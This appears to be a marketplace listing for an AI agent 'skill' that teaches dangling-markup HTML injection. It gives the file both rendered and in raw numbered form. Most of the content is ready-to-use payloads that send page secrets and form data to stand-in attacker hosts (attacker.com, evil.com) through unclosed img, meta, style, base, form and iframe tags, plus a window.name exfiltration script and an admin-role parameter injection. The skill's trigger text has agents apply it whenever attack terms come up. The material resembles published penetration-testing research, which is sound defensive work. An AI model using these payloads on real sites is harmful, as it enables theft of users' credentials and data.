Dangling Markup HTML Injection

Name: Dangling Markup HTML Injection
Rating: 4.2 (5 reviews)
Author: abelrguezr

How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities.

abelrguezr Updated Sep 10, 2026

Web & Frontend

Install

Press C to copy

$ npx skillmds@latest add abelrguezr/dangling-markup-html-injection

Installs into ~/.claude/skills (or .claude/skills inside a project). Restart Claude Code to pick it up.

Download .zip

＋ Add to plugin

README badge

[![SkillMD](https://skillmd.com/badge/abelrguezr/dangling-markup-html-injection.svg)](https://skillmd.com/skills/abelrguezr/dangling-markup-html-injection)

Trust & safety

Audits pending

Not yet audited · commit 1a53ce6

Permissions this skill uses

Executes scripts
The instructions run shell commands or bundled script files.
Makes network calls
The instructions fetch remote URLs or call external services.
Reads secrets
The instructions read tokens, keys, or other credentials.

Works with: Claude Code Claude.ai OpenAI Codex +

File contents

Dangling Markup - HTML Scriptless Injection

This skill helps you exploit HTML injection vulnerabilities when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:

Exfiltrating secrets stored in clear text in HTML
Stealing form data by redirecting submissions
Bypassing Content Security Policy (CSP) restrictions
Misleading script execution by manipulating the DOM
Data exfiltration through various HTML tag attributes

When to Use This Skill

Use this skill when:

You've found an HTML injection point but no XSS
You need to exfiltrate data from a page with HTML injection
You want to bypass CSP restrictions
You need to steal or redirect form submissions
You're testing for dangling markup vulnerabilities
You want to manipulate page behavior without JavaScript

Core Technique

Dangling markup works by injecting incomplete HTML tags that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.

1. Stealing Clear Text Secrets

Using `<img>` tag

Inject an unclosed src attribute to capture content until the next quote:

<img src='http://attacker.com/log.php?HTML=

What happens: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.

Variations:

<img src="http://attacker.com/log.php?HTML="  <!-- Double quote version -->

Using `<meta>` refresh tag

If <img> is blocked by CSP, use meta refresh:

<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text='
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='

Note: Chrome blocks HTTP URLs with < or \n characters. Try ftp:// protocol instead.

Using CSS `@import`

<style>@import '//attacker.com?'

What happens: Sends all code until it finds a ; character.

Using `<table>` background attribute

<table background='//your-collaborator-id.burpcollaborator.net?'

Using `<base>` tag

<base target='

Note: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.

2. Stealing Forms

Method 1: Base tag hijacking

<base href="http://evil.com/" />

Effect: All forms with relative action paths (e.g., <form action='update_profile.php'>) will submit to your malicious domain.

Method 2: Form header injection

<form action='http://evil.com/log_steal'>

Effect: Overwrites the next form header, redirecting all form data to your server.

Method 3: Button formaction attribute

<button name="xss" type="submit" formaction="https://attacker.com/steal">
  Submit
</button>

Effect: Changes where the form data is sent when clicked.

Reference: PortSwigger research on stealing passwords without bypassing CSP

3. Stealing Clear Text Secrets via Forms

Hidden input field injection

Combine form stealing with secret exfiltration:

<input type='hidden' name='review_body' value="

What happens: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.

Option tag injection

<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option

What happens: All data until </option> is found gets submitted.

4. Form Parameter Injection

Inject hidden fields to modify form behavior:

<form action="/change_settings.php">
  <input type="hidden" name="invite_user" value="attacker" />
  <input type="hidden" name="role" value="admin" />

Effect: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.

5. Stealing via `<noscript>` Tag

Exfiltrate page content when JavaScript is disabled:

<noscript>
  <form action=http://evil.com>
    <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value="">
    <textarea name=contents></noscript>

What happens: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.

6. Bypassing CSP with User Interaction

Even in highly restricted CSP environments, you can exfiltrate data with user interaction:

Step 1: Inject on target page

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Step 2: Create payload page

<script>
  if(window.name) {
    new Image().src='//attacker.com?'+encodeURIComponent(window.name);
  }
</script>

What happens: When victim clicks the link, window.name contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.

Reference: PortSwigger research on evading CSP with DOM-based dangling markup

7. Misleading Script Workflow

HTML Namespace Attack

Inject an element with an ID that overwrites the legitimate one:

<input type="hidden" id="share_with" value="attacker" />

Effect: JavaScript using document.getElementById('share_with') gets your injected value instead of the legitimate one.

Script Namespace Attack

Create JavaScript variables via HTML attributes:

<img id="is_public" />

Effect: In some browsers (especially older IE), this creates a global JavaScript variable is_public that can affect application logic.

8. JSONP Abuse

If a JSONP interface exists, you can call arbitrary functions:

<script src='/search?q=a&call=set_sharing'></script>

Or even execute JavaScript:

<script src="/search?q=a&call=alert(1)"></script>

9. Iframe Abuse

Parent location manipulation

<iframe src="http://attacker.com/redirect.html"></iframe>

Where redirect.html contains:

<script>
  top.window.location = "https://attacker.com/hacked.html"
</script>

Mitigation: Use sandbox='allow-scripts allow-top-navigation' attribute.

Iframe name attribute leak

<iframe
  src="//attacker.com/leak.php?email=%22><iframe name=%27"

Reference: PortSwigger research on bypassing CSP with dangling iframes

10. Meta Tag Abuse

Set cookies

<meta http-equiv="Set-Cookie" content="SESSID=1">

Redirect

<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />

Mitigation: CSP with http-equiv 'self'

11. Portal Tag Abuse

The <portal> tag (experimental, requires Chrome flags) can be abused:

<portal src='https://attacker.com?'

Reference: Securitum research on portal element vulnerabilities

12. HTML Leaks

For additional HTML-based connectivity leaks, see:

HTTPLeaks by cure53

Testing Checklist

When testing for dangling markup vulnerabilities:

Identify HTML injection points - Look for reflected user input in HTML context
Test basic injection - Try '><img src=x> to confirm HTML injection


Check for XSS filters - If XSS is blocked but HTML works, dangling markup may work
Test secret exfiltration - Use <img src='http://attacker.com? to capture content
Test form stealing - Inject <base href="http://attacker.com/">
Test CSP bypass - Try meta refresh and other CSP-bypassing techniques
Test user interaction attacks - Create clickjacking scenarios with base tag



Payload Generator
Use the generate_payloads.py script to create test payloads for different scenarios:
python scripts/generate_payloads.py --target http://attacker.com --type all


References

Content Spoofing - HTML Injection
Post-XSS by lcamtuf
HTML Scriptless Attacks
PortSwigger: Evading CSP with DOM-based dangling markup
PortSwigger: Bypassing CSP with dangling iframes
Auto Wordlists - Dangling Markup

   1---2name: dangling-markup-html-injection3description: How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities.4---56# Dangling Markup - HTML Scriptless Injection78This skill helps you exploit **HTML injection vulnerabilities** when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:910- **Exfiltrating secrets** stored in clear text in HTML11- **Stealing form data** by redirecting submissions12- **Bypassing Content Security Policy (CSP)** restrictions13- **Misleading script execution** by manipulating the DOM14- **Data exfiltration** through various HTML tag attributes1516## When to Use This Skill1718Use this skill when:19- You've found an HTML injection point but no XSS20- You need to exfiltrate data from a page with HTML injection21- You want to bypass CSP restrictions22- You need to steal or redirect form submissions23- You're testing for dangling markup vulnerabilities24- You want to manipulate page behavior without JavaScript2526## Core Technique2728Dangling markup works by injecting **incomplete HTML tags** that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.2930---3132## 1. Stealing Clear Text Secrets3334### Using `<img>` tag3536Inject an unclosed `src` attribute to capture content until the next quote:3738```html39<img src='http://attacker.com/log.php?HTML=40```4142**What happens**: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.4344**Variations**:45```html46<img src="http://attacker.com/log.php?HTML="  <!-- Double quote version -->47```4849### Using `<meta>` refresh tag5051If `<img>` is blocked by CSP, use meta refresh:5253```html54<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text='55<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='56```5758**Note**: Chrome blocks HTTP URLs with `<` or `\n` characters. Try `ftp://` protocol instead.5960### Using CSS `@import`6162```html63<style>@import '//attacker.com?'64```6566**What happens**: Sends all code until it finds a `;` character.6768### Using `<table>` background attribute6970```html71<table background='//your-collaborator-id.burpcollaborator.net?'72```7374### Using `<base>` tag7576```html77<base target='78```7980**Note**: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.8182---8384## 2. Stealing Forms8586### Method 1: Base tag hijacking8788```html89<base href="http://evil.com/" />90```9192**Effect**: All forms with relative action paths (e.g., `<form action='update_profile.php'>`) will submit to your malicious domain.9394### Method 2: Form header injection9596```html97<form action='http://evil.com/log_steal'>98```99100**Effect**: Overwrites the next form header, redirecting all form data to your server.101102### Method 3: Button formaction attribute103104```html105<button name="xss" type="submit" formaction="https://attacker.com/steal">106  Submit107</button>108```109110**Effect**: Changes where the form data is sent when clicked.111112**Reference**: [PortSwigger research on stealing passwords without bypassing CSP](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)113114---115116## 3. Stealing Clear Text Secrets via Forms117118### Hidden input field injection119120Combine form stealing with secret exfiltration:121122```html123<input type='hidden' name='review_body' value="124```125126**What happens**: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.127128### Option tag injection129130```html131<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option132```133134**What happens**: All data until `</option>` is found gets submitted.135136---137138## 4. Form Parameter Injection139140Inject hidden fields to modify form behavior:141142```html143<form action="/change_settings.php">144  <input type="hidden" name="invite_user" value="attacker" />145  <input type="hidden" name="role" value="admin" />146```147148**Effect**: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.149150---151152## 5. Stealing via `<noscript>` Tag153154Exfiltrate page content when JavaScript is disabled:155156```html157<noscript>158  <form action=http://evil.com>159    <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value="">160    <textarea name=contents></noscript>161```162163**What happens**: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.164165---166167## 6. Bypassing CSP with User Interaction168169Even in highly restricted CSP environments, you can exfiltrate data with user interaction:170171### Step 1: Inject on target page172173```html174<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>175<base target='176```177178### Step 2: Create payload page179180```html181<script>182  if(window.name) {183    new Image().src='//attacker.com?'+encodeURIComponent(window.name);184  }185</script>186```187188**What happens**: When victim clicks the link, `window.name` contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.189190**Reference**: [PortSwigger research on evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)191192---193194## 7. Misleading Script Workflow195196### HTML Namespace Attack197198Inject an element with an ID that overwrites the legitimate one:199200```html201<input type="hidden" id="share_with" value="attacker" />202```203204**Effect**: JavaScript using `document.getElementById('share_with')` gets your injected value instead of the legitimate one.205206### Script Namespace Attack207208Create JavaScript variables via HTML attributes:209210```html211<img id="is_public" />212```213214**Effect**: In some browsers (especially older IE), this creates a global JavaScript variable `is_public` that can affect application logic.215216---217218## 8. JSONP Abuse219220If a JSONP interface exists, you can call arbitrary functions:221222```html223<script src='/search?q=a&call=set_sharing'></script>224```225226Or even execute JavaScript:227228```html229<script src="/search?q=a&call=alert(1)"></script>230```231232---233234## 9. Iframe Abuse235236### Parent location manipulation237238```html239<iframe src="http://attacker.com/redirect.html"></iframe>240```241242Where `redirect.html` contains:243```html244<script>245  top.window.location = "https://attacker.com/hacked.html"246</script>247```248249**Mitigation**: Use `sandbox='allow-scripts allow-top-navigation'` attribute.250251### Iframe name attribute leak252253```html254<iframe255  src="//attacker.com/leak.php?email=%22><iframe name=%27"256  onload="leakData(this.contentWindow)"></iframe>257```258259**Reference**: [PortSwigger research on bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)260261---262263## 10. Meta Tag Abuse264265### Set cookies266267```html268<meta http-equiv="Set-Cookie" content="SESSID=1">269```270271### Redirect272273```html274<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />275```276277**Mitigation**: CSP with `http-equiv 'self'`278279---280281## 11. Portal Tag Abuse282283The `<portal>` tag (experimental, requires Chrome flags) can be abused:284285```html286<portal src='https://attacker.com?'287```288289**Reference**: [Securitum research on portal element vulnerabilities](https://research.securitum.com/security-analysis-of-portal-element/)290291---292293## 12. HTML Leaks294295For additional HTML-based connectivity leaks, see:296- [HTTPLeaks by cure53](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)297298---299300## Testing Checklist301302When testing for dangling markup vulnerabilities:3033041. **Identify HTML injection points** - Look for reflected user input in HTML context3052. **Test basic injection** - Try `'><img src=x onerror=alert(1)>` to confirm HTML injection3063. **Check for XSS filters** - If XSS is blocked but HTML works, dangling markup may work3074. **Test secret exfiltration** - Use `<img src='http://attacker.com?` to capture content3085. **Test form stealing** - Inject `<base href="http://attacker.com/">`3096. **Test CSP bypass** - Try meta refresh and other CSP-bypassing techniques3107. **Test user interaction attacks** - Create clickjacking scenarios with base tag311312---313314## Payload Generator315316Use the `generate_payloads.py` script to create test payloads for different scenarios:317318```bash319python scripts/generate_payloads.py --target http://attacker.com --type all320```321322---323324## References325326- [Content Spoofing - HTML Injection](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)327- [Post-XSS by lcamtuf](http://lcamtuf.coredump.cx/postxss/)328- [HTML Scriptless Attacks](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)329- [PortSwigger: Evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)330- [PortSwigger: Bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)331- [Auto Wordlists - Dangling Markup](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt)

  abelrguezr/hacktricks-skills/tree/main/skills/pentesting-web/dangling-markup-html-scriptless-injection/dangling-markup-html-scriptless-injection commit 1a53ce602a 
   Related skills
 Browse category 
     Web Artifacts Builder 158k 
 anthropic
 Creates elaborate, multi-component HTML artifacts using React, Tailwind CSS, and shadcn/ui for complex frontend projects.
  
   Senior Frontend 20.4k 
 alirezarezvani·Audited
 Scaffold Next.js/React projects, generate components, analyze bundle sizes, and apply React/Next.js optimization patterns.
  
   Md Document 20.4k 
 alirezarezvani·Audited
 Converts long-form markdown documents (specs, RFCs, reports, plans) into a single-file HTML page with sticky table of contents, scrollspy, search filter, code-copy buttons, and customizable design tokens.
  
   Md Slides 20.4k 
 alirezarezvani·Audited
 Converts a markdown deck into a single-file HTML presentation with keyboard navigation, presenter mode, and print-to-PDF support.
  
   Senior Fullstack 20.4k 
 alirezarezvani·Audited
 Scaffolds fullstack projects (Next.js, FastAPI, MERN, Django) and analyzes code quality with security and complexity scoring.
  
   Vite 5.5k 
 antfu·Audited
 Configure Vite build tool, use its plugin API, set up SSR, and migrate to Vite 8 with Rolldown.
  
 
 
  Frequently asked questions
     
 Run npx skillmds@latest add abelrguezr/dangling-markup-html-injection in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.
 
   
 How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities. It is listed under Web & Frontend on SkillMD.
 
   
 This skill has not completed SkillMD's automated safety review yet. Capability flags: executes scripts, makes network calls, reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.
 
   
 This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.
 
   
 Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.
 
   
 abelrguezr (@abelrguezr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

   npx skillmds@latest add abelrguezr/dangling-markup-html-injection

Dangling Markup HTML Injection

File contents

Dangling Markup - HTML Scriptless Injection

When to Use This Skill

Core Technique

1. Stealing Clear Text Secrets

Using <img> tag

Using <meta> refresh tag

Using CSS @import

Using <table> background attribute

Using <base> tag